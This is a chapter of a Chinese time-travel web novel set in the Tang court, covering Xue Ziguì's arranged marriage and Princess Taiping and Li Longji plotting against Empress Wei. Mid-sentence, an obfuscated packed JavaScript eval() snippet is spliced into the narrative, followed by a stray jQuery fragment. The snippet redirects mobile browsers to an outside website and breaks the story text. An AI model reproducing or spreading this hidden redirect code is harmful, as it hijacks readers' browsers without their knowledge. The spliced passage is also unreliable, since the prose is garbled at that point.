021
薛子归想起自己将要嫁的人豆卢光祚,那是母亲为她千挑万选才定下来的,未来的翁爹官至宰相。
她和豆卢氏的这门亲事,在外人看来是天作地和。
可薛子归也不知道自己的未来会是什么样。
因为不确定,所以心里想起将要成亲的事情,总是忐忑多过期待。
都说她的母亲是太平公主,她每年也有封食三百户,谁能左右得了她?
可她无法选择不嫁人。
强大如母亲,在这些事情上,也避免不了被左右的命运。
武灵儿看着薛子归的模样,笑道:“我知道的,你没想过。”
“……那是我能想的吗?”
薛子归撇了撇嘴,鼓着腮帮咕哝说道:“我只想过要是嫁到豆卢氏后,夫郎惹我不快活,或是我实在不喜爱他,就像阿娘那样,养几个年轻俊美又知情识趣的面首在身边解闷。”
少女鼓着腮帮的模样,像出水的河豚,很可爱。
武灵儿忍不住伸手戳她的脸,笑着说:“或许如今你可以想了。”
停了停,她又说:“如果你觉得如今来不及想,那就从你的女儿开始想,想她在这些事情上或许会有说‘不’的权利。”
薛子归瞪着眼睛看武灵儿。
武灵儿偏头,脸上带着笑意跟她对视,“怎么了?”
薛子归看着眼前的好友,她自小是跟武灵儿一起长大的,外祖母还没禅位的时候,她们就住在长生殿的偏殿里。
外祖母禅位后,她们就与外祖母一起住在上阳宫。
后来外祖母薨了,她很少在宫里常住,但圣人舅父和皇后舅母动辄在宫里举行家宴,每逢家宴,她都会在宫里与武灵儿住一两天。
武灵儿从前胆子也大,但从来不会挑唆别人要跟父母唱反调,也不会将伦理踩在脚下。
有那么一瞬间,薛子归觉得自己仿佛从未认识武灵儿。
明媚的阳光有些刺眼,薛子归忍不住撇过半边脸,皱着眉头,语气有些不快地说道:“清阳,你从前不是这样的。”
我从前当然不是这样。
武灵儿心想,万泉你知道从前的武灵儿已死,如今的武灵儿是一个来自另一个时空的人吗?
“我从前也是这样的,只是从前这些事情,我只敢自己在心里想,不敢跟你说。”
武灵儿眉眼含着笑意,语气温柔地跟薛子归说道:“自从出宫后,我想过很多事情,很多想法跟从前都不一样了。万泉,我们自小一起长大,有些事情我不想让你胡乱猜测,也不想我们之间有隔阂。”
自从穿越后,武灵儿总是会想起自己从前的生活。
她其实不算出生在什么大富大贵的家庭,父亲是个调香师,母亲出身高知家庭。她从小身体不好,在十岁那年,父母因彼此生活理念不再一致,和平解除婚姻关系。
她跟父亲的感情很好,但选择与母亲一起生活。
记忆中,母亲从不曾因为她身体不好,而对她放低期望。
母亲说每个人都是活一天,就少一天的,不能因为觉得自己或许会比别人少活一段时间,就放任自流,人总要找到自己存在的意义。
武灵儿从前并不是很明白母亲话里的意思。
很长一段时间,她不知道怎样才算过得有意义,是要做出“挽狂澜于既倒,扶大厦之将倾”这样的事情,才算有意义吗?
小时候,总是觉得人都是要做一番大事的才算有意义。
平凡人的生活,每天都是柴米油盐酱醋茶,日复一日,那有什么意义?
母亲听了,忍不住笑,说:“世上能做出大事的人凤毛麟角,那也不意味着平凡人的生活没有意义。”
武灵儿听了母亲的话,似懂非懂。
经历了生死与穿越,来到大唐的武灵儿时常会想起母亲说的话。
她现在虽然是国公之女,其实也不过是个平凡渺小的人。
长安风起云涌,她处在政治漩涡的边缘,卷入其中可能会万劫不复,但也不必缩手缩脚、瞻前顾后。
她还是想尽自己所能,去做一些力所能及的事情。
武灵儿很喜欢薛子归,并不仅是因为薛子归是太平公主的女儿。
薛子归也想要自由,她也会偷偷想一些惊世骇俗的事情,只是她不说。
太平公主的一生都活在权力的最顶端,薛子归自小耳濡目染,对很多事情的变化比武灵儿其实要敏感得多,又有着一颗赤子之心。
武灵儿伸手过去,捏了捏薛子归的手心,笑着说道:“上次在公主府,你与我说,自从我出宫后,你总猜不透我在想什么,其实没必要猜,该知道的你都会知道。”
该知道的她都会知道?
薛子归有些不满地看向武灵儿,语气有点凶,“那你的意思,是还有我不该知道的?”
“嗯”。武灵儿轻飘飘地应了一声,语气轻快又俏皮,“你有自己的小秘密,我当然也会有。”
薛子归:“……”
薛子归也在万庄住下。
陈煦在书房给武灵儿上课的时候,薛子归也要去凑热闹。
她在公主府里,也有先生教她诗词歌赋,还画得一手好画。
与武灵儿相比,薛子归在诗词歌赋上要强得多,陈煦平时跟武灵儿说诗词歌赋,感觉与对牛弹琴也无甚区别,如今来了个万泉县主,诗才纵然不算出类拔萃,但对陈煦来说,也总算能秀一下自己在作诗上的学问,十分满足。
武灵儿听这对老少谈这些诗词歌赋,就头皮发麻,离开书房站在庑廊下吹风。
书房里,陈煦拿出一副画,那是一副牡丹图,旁边还提了一首诗。
薛子归看得一愣,问:“这是……清阳画的吗?”
陈煦顿时笑了。
薛子归见陈煦笑,也跟着笑起来,说道:“原来是先生画的。”
陈煦含蓄说道:“清阳县主平时比较喜欢听我讲经史。”
“她自小就不太喜欢动笔。”薛子归仔细观察陈煦的画,笑着说,“清阳能歌善舞,让她天弹箜篌练舞一整天也不会喊累,但要她拿笔练大字,就像是要了她的命似的。外祖母在世时,尚能管她一管,后来外祖母薨了,圣人舅父和皇后舅母都随着她性子去了。”
……
武灵儿站在庑廊上,听着薛子归和陈煦两人的话隐隐约约传来,心想幸好李显和韦皇后在物质上对原身妹子无微不至,其他方面都放羊吃草,不然原身妹子在宫里的生活,哪里还有什么快乐可言。
从前不擅长的,继续不擅长也没什么要紧。
但是从前擅长的,可不能丢了。
武灵儿于是留下薛子归和陈煦在书房里赏画品诗,自己去换了一身练功服,跳舞去了。
武灵儿在万庄里不知时日过,长公主府里的太平公主却很忙碌。
李隆基到公主府见她,两人在商量要如何制衡韦皇后如今在朝廷里的势力。圣人李显如今是越来越靠不住了,他被韦皇后和安乐公主哄得晕头转向,出门都找不着北。
太平公主和李隆基担心再不动手,李显说不定真的要将手中的权力全部交给韦皇后,等韦皇后的势力完全成熟,等待李唐皇室的,定然又是一轮灭顶之灾。
年轻的临淄王与太平公主坐在湖边水榭,清风徐来,送来阵阵花香。
李隆基与太平公主隔着案桌相对而坐,在案桌上,摆放着下了一半的围棋。
李隆基手里拿着一粒黑子,徐声说道:“姑姑,我从潞州回来后,认识了一位朋友。”
太平公主抬眼,美眸看向他,一副愿闻其详的模样。
李隆基英俊的脸庞上流露出些许笑意,说道:“是禁苑总监,钟绍京。他若愿配合此事,此事将事半功倍。”
李隆基说的是他和太平公主谋求要政变的事情。
想要政变,肯定要举兵进入皇城,控制李显和韦皇后。
禁苑在皇城的正北面,出了禁苑的南门,就是皇城的北门。而皇城的北门之后,就是李显的后宫所在。
禁苑总监是五品官,就住在禁苑里。
李隆基想进入皇城,从禁苑过去是最好的。
太平公主知道钟绍京,她拿起旁边棋盒中的一粒白子,神态悠然,“你将要做的事情,可不一般。钟绍京此人,最喜书法,性情与你父亲有几分相似,不见得愿意放你进禁苑。”
相王李旦,也是写得一手好字。
太平公主和相王感情很好,太平公主觉得这位兄长什么都好,唯独一点不好,就是过于谦让和明哲保身。
如今韦皇后的势力日渐成熟,都快杀到他们头上来了,李旦依然坐在相王府里纹丝不动。
李隆基一粒黑子落下,“侄儿与他交往的时日不长,但自认也有几分眼力,凡事都要往好处想。”
“你是进退维谷,不得不破釜沉舟。但他与你不同,此事他若是配合你举兵,事成了自然是立下大功。可他即使什么都不做,也有享不尽的荣华富贵。”
太平公主又一粒白子落下棋盘,刚好将李隆基的一片黑子困住,她看向李隆基,笑道:“他没必要为你铤而走险。”
李隆基神色波澜不惊,他手中的黑子跟上,瞬间盘活了一片
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15456117|168554||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
死棋。
“他不愿铤而走险,若是箭在弦上,不得不发,那也由不得他选择。”
青年郎君神色沉稳,仿佛已经稳操胜券。
太平公主秀眉微挑。
李隆基微微一笑,说道:“如今还没到那一步,且再看看。再说,有刘幽求在,还有御史中丞一起出谋献策,姑姑还担心什么?”
御史中丞萧至忠是太平公主的人,与其说他出谋献策,不如说他是太平公主安插在李隆基身边的。
三年前皇太子李重俊带兵造反之后,李显就觉得自己的帝位岌岌可危。
而那时相王和太平公主权势又大,声望也高,多少有点将他比下去的意思,杯弓蛇影的李显想干脆按个罪名给太平公主和李旦,将这两个同胞弟妹也杀了,以绝后患,那时萧至忠奉命审理此案。
他听了李显的话,挺身而出,跟李显说当年则天女皇要册立皇太子,本是要册立相王的,但相王坚持长幼有序,让女皇册立还在房州的兄长为皇太子,您才有了从房州回长安的机会。后来张氏兄弟祸乱朝政,是长公主与五王联手,让女皇禅位给您的。他们是您世上仅有的血亲,从前一心为您谋划,如今又怎会有与您争夺帝位的想法呢?
再说,相王和太平公主是您仅有的弟弟和妹妹,到底犯了什么错,让您这般容不下他们?您若将他们杀了,天下人又会怎么看待您?
巴拉巴拉。
萧至忠对李显一顿输出,李显想了想,也是那个道理,只好作罢。
可自那之后,李显对韦皇后越发信任依赖,对相王和太平公主越来越不待见。
太平公主与萧至忠的关系也比从前更亲密。
太平公主很欣赏李隆基这个侄儿,青年郎君冷静沉着,胆识过人。
姜是老的辣,李隆基再沉稳,也免不了年轻意气,有刘幽求为他谋划,她确实放心不少。但刘幽求是李隆基的谋士,谨慎起见,她也把萧至忠安排进来。
长公主看了一眼李隆基刚才落下的黑子,棋如其人,剑走偏锋。
年轻人做事,只要大方向不出错,她无意干涉太多,便笑着说了句,“那就且再看看。”
李隆基微微颔首。
姑侄俩谈完正事,又拉了一会儿家常,说到秋天薛子归就要嫁到豆卢氏的事情,李隆基顺口问道:“今日怎么不见万泉?”
自从过年李隆基给薛子归带来一些好玩的小礼物之后,薛子归就很喜欢亲近李隆基,每次听说李隆基来,都要来跟他说会儿话。
太平公主微笑,语气有些无奈地说道:“公主府住不下这个小祖宗,她去万庄找清阳玩了。”
李隆基一副过来人的模样,“万泉年龄还小,爱玩才是正常。”
太平公主:“从前你在长安,得了空就会到骊山去狩猎,今年怎么没去?”
李隆基正要说话,这时清榆姑姑带着两个侍女从湖边经过,两个侍女手里还拎着两个小木桶。
太平公主把清榆姑姑喊了过来,问是什么东西。
清榆姑姑笑道:“是清阳县主让人从万庄送来的河鱼和野味,说河鱼是他们刚从万庄的河里捞的,野味是武校尉去骊山打的。”
武崇靖在玄甲军的职位是校尉,平时公主府里的人说起他,都是这么称呼的。
“靖儿又去万庄了?”太平公主神色莞尔,语气无奈而纵容,“他们这群小家伙倒是快活。”
转而,太平公主又跟李隆基说,“难得他们有这份心,阿瞒留下陪我尝个鲜。”
跟长辈商量完正事,又拉了一会儿家常,如今姑姑说要他陪用膳,李隆基当然没有推辞。
一顿午膳,宾主尽欢。
离开时,李隆基看着公主府的大门若有所思。
王毛仲有些不明所以,“郎君?”
李隆基收回视线,慢悠悠地说道:“你曾说武崇靖如今在玄甲军里,如今军队的将领换来换去,人人自危,武崇靖在做什么呢?”
好端端的,怎么就问起了武崇靖?
王毛仲十分摸不着头脑,神情有些尴尬,“武校尉如今年轻,平日只负责训练和指挥,影响也不太大,属下也没太在意。”
李隆基看向王毛仲。
王毛仲立即意会,“属下即刻便让人去打听。”
李隆基却摇头,“不用了,他如今正在骊山打猎。”
武崇靖在骊山打猎没什么出奇,但太平公主今日忽然提起武崇靖和武灵儿这对兄妹就有些不寻常。
李隆基想了想,跟王毛仲说:“回去收拾一下,明日我们也去骊山打猎。”
王毛仲:???